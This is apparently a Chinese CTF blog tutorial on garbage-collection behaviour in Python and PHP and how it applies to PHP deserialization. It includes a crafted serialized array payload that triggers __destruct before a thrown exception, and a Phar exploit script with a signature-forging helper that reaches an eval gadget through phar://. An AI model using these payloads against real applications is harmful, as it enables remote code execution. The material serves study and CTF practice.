GC机制的隐患和利用

GC机制的隐患和利用

同样是受到队内赛一道题的启发吧,想着研究一下这个gc的机制,之前学pop链的时候也碰到过,但是没有深入的去摸

算是回来补一下坑,顺带把python的gc机制也看一眼

Python的gc机制

Python的回收机制是根据变量值被引用计数的次数来算的

age=18

此时18就被关联了一个变量名age引用计数为1

y=age

18关联的变量名+1,此时18的引用计数为2

当所有变量与18解除关联关系时,此时变量值18的引用计数为0

其占用的内存就被解释器的gc机制给回收掉了

导致引用计数+1

  • 对象被创建并赋值
  • 对象被引用
  • 对象作为参数传入函数
  • 对象作为元素储存在列表,字典等

导致引用计数-1

  • del显式销毁对象
  • 变量名被赋予新的对象
  • 一个对象离开作用域(如函数执行完成)
  • 对象所在容器被销毁,或从容器中删除对象

可以使用sys.getrefcount()来查看对象的引用计数

而这种机制的隐患就在于循环引用

假如

import gc
class ClassA():
    def __init__:
        print('obj born')
def f2():
    while True:
        c1=ClassA()
        c2=ClassA()
        c1.t=c2
        c2.t=c1
        del c2
        del c1

那么直到显式删除时c1和c2的引用计数都是1,无法被回收,但是此时已经没有其他对象能够引用到c1和c2

这样就会导致关键数据的泄露

但是不用担心,也可以主动触发垃圾回收机制

  • 调用gc.collect()
  • gc模块的计数器达到阈值时
  • 程序退出时
import gc
import os
class ClassA():
    def __init__(self):
        self.flag=os.urandom(4)
def f2():
    c1=ClassA()
    c2=ClassA()
    c1.t=c2
    c2.t=c1
    del c2
    del c1
gc.set_debug(gc.DEBUG_SAVEALL)

f2()
print("gc.garbage:", gc.garbage)
unreachable = gc.collect()
print(f"Unreachable objects: {unreachable}")
print("gc.garbage:", gc.garbage)
print("gc.garbage:", gc.garbage[-1].flag)

这样就可以成功泄露flag

PHP的gc机制

对于PHP,gc机制也是用的引用计数+回收周期

当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉

那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点

在PHP当中,在变量被创建后会被储存在一个名为zval的容器中,在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息

第一个字节名为`is_ref`,是`bool`值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用`&`来使用自定义引用,`zval`变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是`refcount`,它用来表示指向`zval`变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

看接下来的这个例子

<?php
$a = "new string"; 
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量$a,生成了类型为String和值为new string的变量容器,而对于两个额外的字节,is_refrefcount,我们这里可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1,接下来我们验证一下
img
接下来我们添加一个引用

<?php
<?php
$a="new string"; 
$b =&$a;
xdebug_debug_zval('a');
?>

按照之前的思路,每生成一个变量就有一个zval记录其类型和值以及两个额外字节,那我们这里的话a的refcount应该是1,is_ref应该是true,接下来我们验证一下
img
哎,结果不同于我们所想的,这是为什么呢?
因为同一变量容器被变量a和变量b关联,当没必要时,php不会去复制已生成的变量容器。
所以这一个zval容器存储了ab两个变量,就使得refcount的值为2.

接下来说一下容器的销毁这个事。
变量容器在refcount变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount就会减1。
看个例子

<?php
$a="new string"; 
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

按照刚刚所说,那么这里的首次输出的is_ref应该是truerefcount为3。
第二次输出的is_ref值是什么呢,我们可以看到引用$a的变量$b$c都被unset了,所以这里的is_ref应该是false,也是因为unset,这里的refcount应该从3变成了1,接下来验证一下
img

gc机制在反序列化中的应用

GC如果在PHP反序列化中生效,那它就会直接触发_destruct方法,接下来以例子来演示。

pop链

首先来看变量被unset函数处理的情况

<?php
highlight_file(__FILE__); 
error_reporting(0); 
class test{ 
    public $num; 
    public function __construct($num) {
        $this->num = $num; echo $this->num."__construct"."</br>"; 
    }
    public function __destruct(){
        echo $this->num."__destruct()"."</br>"; 
    }
    }
$a = new test(1); 
unset($a);
$b = new test(2); 
$c = new test(3);

img
这个是一种方法,还有一种方法,如下。
我们知道当对象为NULL时也是可以触发_destruct的,所以我们这里的话来试一下反序列化一个数组,然后写入第一个索引为对象,将第二个赋值为0,看一下能否触发。(原理我感觉应该是给第一个对象赋值为0键时,此时又将0赋值给了另一个,就相当于它失去了引用,被视为垃圾给回收了)
demo如下

<?php
show_source(__FILE__);
$flag = "flag";
class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a = unserialize($_GET['1']);
throw new Exception('你想干什么');

我们可以看到这里在反序列化后就抛出异常了,如果按照正常的话,是无法触发_destruct的,我们按照先前所想,这里先反序列化一个数组

<?php
show_source(__FILE__);

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}
$a=array(new B,0);

echo serialize($a);

得到序列化文本如下

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}
数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1:int型;值为0

接下来我们按照我们所想,将第二个索引置空,就可以触发GC回收机制,因此修改序列化文本为

a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

去尝试一下
成功触发,看到这里也就知道了大致的思路
img
这里可以看到也是成功提前触发了_destruct,因为如果正常情况的话,有异常抛出就无法再触发_destruct了,而这个思路也是我们在CTF中绕过异常的一个方法。

phar反序列化

<?php 
highlight_file(__FILE__); 
class Test{ 
    public $code; 
    public function __destruct(){ 
        eval($this -> code); 
        } 
}
$filename = $_GET['filename']; 
echo file_get_contents($filename); 
throw new Error("Garbage collection"); 
?>

看到file_get_contents函数和类,就想到Phar反序列化,所以接下来尝试借助file_get_contents方法来进行反序列化(因为这里只是本地测试一下,所以不再设置文件上传那些,直接将生成的Phar文件放置本地进行利用了)。
构造Exp如下

<?php 
class test{
    public $code= "phpinfo();";
}
$a = new test();
$c = array($a,0); 
$b = new Phar('1.phar',0);//后缀名必须为phar
$b->startBuffering();//开始缓冲 Phar 写操作
$b->setMetadata($c);//自定义的meta-data存入manifest
$b->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$b->addFromString("test.txt","test");//添加要压缩的文件
$b->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

注:需要去检查一下php.ini中的phar.readonly选项,如果是On,需要修改为Off。否则会报错,无法生成phar文件
小Tip: 这里如果有师傅不懂为什么这样写,可以学一下Phar反序列化,我之前也写过一篇关于Phar反序列化的文章,
师傅们可以参考一下https://tttang.com/archive/1732/

img
010editor打开phar文件
img
可以发现i:1,按照我们之前的思路,我们这里将i:1修改成i:0就可以绕过抛出异常,但在Phar文件中,我们是不能任意修改数据的,否则就会因为签名错误而导致文件出错,不过签名是可以进行伪造的,所以我们先将1.phar中的i:1修改为i:0,接下来利用脚本使得签名正确。
脚本如下

import gzip
from hashlib import sha1
with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
open("2.phar","wb").write(newf)

打开2.phar文件查看一下
img
变成i:0且文件正常,接下来利用phar伪协议包含这个文件

$filename=phar://2.phar

img
可以发现成功输出了phpinfo。